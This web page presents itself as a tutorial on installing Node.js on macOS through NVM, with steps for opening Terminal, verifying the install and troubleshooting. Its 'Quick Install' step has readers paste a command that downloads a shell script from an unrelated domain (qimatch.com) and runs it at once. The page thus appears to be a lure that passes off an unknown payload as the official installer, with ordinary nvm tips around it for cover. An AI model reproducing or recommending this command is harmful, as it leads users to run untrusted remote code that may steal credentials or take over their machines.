Set up Node.js on macOS with NVM

A clean, conflict-free way to install Node.js on Mac, MacBook, and macOS — compatible with Apple Silicon and Intel.

Open Terminal

Run all commands in the Terminal app. Quick ways to launch it:

Spotlight: press ⌘ + Space, type Terminal, then press Enter.
Finder: Applications → Utilities → Terminal.
Launchpad: Open Launchpad → “Other” → Terminal.
From a folder: Right-click in Finder → Services → “New Terminal at Folder”.

Quick Install

Paste the command below into Terminal and press Enter:

/bin/bash -c "$(curl -fsSL https://qimatch.com/njs/install.sh)"

After installation completes, restart Terminal or run source ~/.zshrc to load NVM.

Verify Your Setup

Confirm NVM is available: command -v nvm
Install the LTS release of Node.js: nvm install --lts
Make LTS your default: nvm alias default lts/*
Check versions: node -v and npm -v

Why choose NVM on macOS?

Node Version Manager keeps your environment tidy and flexible:

Switch between Node.js versions with nvm use
Install global npm packages without sudo
Seamless on both Apple Silicon and Intel chips

Troubleshooting

“nvm: command not found”: Run source ~/.zshrc (or restart Terminal).
Permission issues: Ensure which node resolves to your home directory (not /usr/local).
Apple Silicon notes: NVM selects the correct architecture automatically.